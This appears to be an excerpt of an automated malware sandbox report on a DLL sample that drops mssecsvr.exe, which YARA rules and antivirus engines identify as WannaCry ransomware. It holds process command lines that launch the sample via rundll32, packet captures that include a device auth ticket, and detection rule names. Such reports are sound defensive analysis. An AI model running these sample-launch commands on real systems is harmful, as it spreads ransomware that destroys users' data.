<connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 11:24:55 UTC	7758	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 66 31 62 37 32 38 65 66 37 36 36 64 35 62 66 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 6d 77 33 5a 4b 41 4c 45 70 53 2f 30 70 30 73 78 2b 39 62 59 72 6d 30 56 72 4f 63 30 43 6c 78 59 7a 49 66 69 4d 78 36 6d 67 58 31 39 79 41 4b 31 58 49 5a 39 4d 65 66 6a 6b 37 33 42 78 64 79 35 5a 35 66 79 6b 66 56 41 47 4b 37 56 79 59 34 50 69 33 64 2f 70 6c 4d 55 51 4b 4e 51 63 55 38 6d 68 30 74 30 38 48 4a 2f 56 77 61 63 62 65 42 44 47 55 6f 35 54 68 76 45 68 47 73 32 4d 4c 61 68 6e 6a 67 34 34 4b 55 Data Ascii: ATH 2 CON\DEVICE 1014Context: 9f1b728ef766d5bf<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAYmw3ZKALEpS/0p0sx+9bYrm0VrOc0ClxYzIfiMx6mgX19yAK1XIZ9Mefjk73Bxdy5Z5fykfVAGK7VyY4Pi3d/plMUQKNQcU8mh0t08HJ/VwacbeBDGUo5ThvEhGs2MLahnjg44KU
2022-07-20 11:24:55 UTC	7759	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 66 31 62 37 32 38 65 66 37 36 36 64 35 62 66 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 9f1b728ef766d5bf<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 11:24:55 UTC	7759	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 11:24:55 UTC	7759	IN	Data Raw: 4d 53 2d 43 56 3a 20 63 61 76 42 64 5a 66 66 74 55 75 56 7a 75 5a 6f 79 31 4f 6a 51 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: cavBdZfftUuVzuZoy1OjQA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.7	51144	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:55 UTC	7759	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NXQXXLFST89&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202430Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:24:55 UTC	7760	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 916dc5e8-31b4-4a75-89bf-ddfcc914f4bd Date: Wed, 20 Jul 2022 11:24:55 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.7	51148	20.54.89.106	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:55 UTC	7760	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=NxbWtnuX4ce7cnL&MD=AtV6mZ7V HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 11:24:55 UTC	7761	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 MS-CorrelationId: 76b44bfe-dc27-4da7-a050-4102b55f945e MS-RequestId: 83c8aa59-3af1-4320-9cea-f51651ff6d4f MS-CV: vYM24Wu6+0ikWB80.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 11:24:54 GMT Connection: close Content-Length: 35877
2022-07-20 11:24:55 UTC	7761	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 11:24:55 UTC	7777	IN	Data Raw: 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 5b e7 50 31 07 a1 48 30 3e 6a a4 f0 c4 72 3c 54 96 f6 da df d2 d3 50 d2 84 7b 97 ec 78 f9 43 53 fd e4 71 94 d6 61 5f 1a b6 d2 ca cf 27 33 68 64 df 14 e1 50 66 07 d7 7e 96 93 5f 64 a6 a8 6b ed 53 9c 38 61 a0 4a c0 c3 f6 42 3e ba 0e e9 8f ca a4 d9 37 47 6f e1 9f d2 fc 8f da e3 3f 6a 8f ff a8 3d fe a3 f6 f8 8f da e3 Data Ascii: AI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF[P1H0>jr<TP{xCSqa_'3hdPf~_dkS8aJB>7Go?j=
2022-07-20 11:24:55 UTC	7793	IN	Data Raw: 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 82 02 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 02 0f 00 30 82 02 0a 02 82 Data Ascii: oft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100"0*H0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.7	51149	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:55 UTC	7760	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHVFW&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202431Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:24:55 UTC	7796	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 8ed034f6-9b3a-4033-a4fa-f5f139e986d3 Date: Wed, 20 Jul 2022 11:24:55 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.7	51153	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:55 UTC	7797	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NCBCSZSJRSB&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202431Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:24:56 UTC	7797	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 82fd193f-c205-4125-a904-2fa77a94ba11 Date: Wed, 20 Jul 2022 11:24:55 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.2.7	51170	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:56 UTC	7797	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202432Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:24:56 UTC	7798	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 4e906203-cdd0-4194-b1ea-1e805356e743 Date: Wed, 20 Jul 2022 11:24:55 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.7	51156	40.125.122.176	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:56 UTC	7798	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=NxbWtnuX4ce7cnL&MD=AtV6mZ7V HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 11:24:56 UTC	7799	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 4a59cca7-1a06-4806-b97a-b6fada8e13e9 MS-RequestId: 1bb2f391-58c8-4556-ac23-1a8882e607e4 MS-CV: YqhCVe+lzkK+Heqr.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 11:24:56 GMT Connection: close Content-Length: 35877
2022-07-20 11:24:56 UTC	7800	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 11:24:56 UTC	7815	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 11:24:56 UTC	7831	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.7	51182	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:24:56 UTC	7798	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH5FV99&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202434Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:24:56 UTC	7799	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 5b5b1503-2a13-4181-af05-092e591d5562 Date: Wed, 20 Jul 2022 11:24:55 GMT Connection: close

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exePID: 6416, Parent PID: 1348

General

Target ID:	0
Start time:	13:23:37
Start date:	20/07/2022
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\4Maoj78D1f.dll"
Imagebase:	0xdf0000
File size:	116736 bytes
MD5 hash:	7DEB5DB86C0AC789123DEC286286B938
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 5856, Parent PID: 6416

General

Target ID:	1
Start time:	13:23:37
Start date:	20/07/2022
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\4Maoj78D1f.dll",#1
Imagebase:	0xdd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 4444, Parent PID: 6416

General

Target ID:	2
Start time:	13:23:38
Start date:	20/07/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\4Maoj78D1f.dll,PlayGame
Imagebase:	0x1240000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 4852, Parent PID: 5856

General

Target ID:	3
Start time:	13:23:38
Start date:	20/07/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\4Maoj78D1f.dll",#1
Imagebase:	0x1240000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: mssecsvr.exePID: 6132, Parent PID: 4852

General

Target ID:	4
Start time:	13:23:39
Start date:	20/07/2022
Path:	C:\Windows\mssecsvr.exe
Wow64 process (32bit):	true
Commandline:	C:\WINDOWS\mssecsvr.exe
Imagebase:	0x400000
File size:	3723264 bytes
MD5 hash:	7290AFBD1B28AAAF40403CB7DD295C9D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.357997595.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.363277316.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.361155952.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000000.359661455.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000004.00000002.369702281.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000004.00000000.361435294.0000000000710000.00000002.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000004.00000000.359726193.0000000000710000.00000002.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000004.00000002.369789005.0000000000710000.00000002.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000004.00000000.358211362.0000000000710000.00000002.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000004.00000000.363392833.0000000000710000.00000002.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team Rule: WannaCry_Ransomware, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvr.exe, Author: Florian Roth (with the help of binar.ly) Rule: WannaCry_Ransomware_Gen, Description: Detects WannaCry Ransomware, Source: C:\Windows\mssecsvr.exe, Author: Florian Roth (based on rule by US CERT) Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\Windows\mssecsvr.exe, Author: Joe Security Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: C:\Windows\mssecsvr.exe, Author: us-cert code analysis team
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 85%, Metadefender, Browse Detection: 100%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 1576, Parent PID: 6416

General

Target ID:	5
Start time:	13:23:41
Start date:	20/07/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\4Maoj78D1f.dll",PlayGame
Imagebase:	0x1240000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: mssecsvr.exePID: 2704, Parent PID: 1576

General

Target ID:	6
Start time:	13:23:42
Start date:	20/07/2022
Path:	C:\Windows\mssecsvr.exe
Wow64 process (32bit):	true
Commandline:	C:\WINDOWS\mssecsvr.exe
Imagebase:	0x400000
File size:	3723264 bytes
MD5 hash:	7290AFBD1B28AAAF40403CB7DD295C9D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000000.363553975.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000000.366049725.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000000.370397552.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000006.00000000.370463078.0000000000710000.00000002.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000006.00000000.368608728.0000000000710000.00000002.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000006.00000002.375063291.0000000000710000.00000002.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000002.374918154.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000006.00000000.368310954.000000000040F000.00000008.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000006.00000000.363619382.0000000000710000.00000002.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000006.00000000.366186624.0000000000710000.00000002.00000001.01000000.00000004.sdmp, Author: us-cert code analysis team
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: mssecsvr.exePID: 6204, Parent PID: 604

General

Target ID:	7
Start time:	13:23:43
Start date:	20/07/2022
Path:	C:\Windows\mssecsvr.exe
Wow64 process (32bit):	true
Commandline:	C:\WINDOWS\mssecsvr.exe -m security
Imagebase:	0x400000
File size:	3723264 bytes
MD5 hash:	7290AFBD1B28AAAF40403CB7DD295C9D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
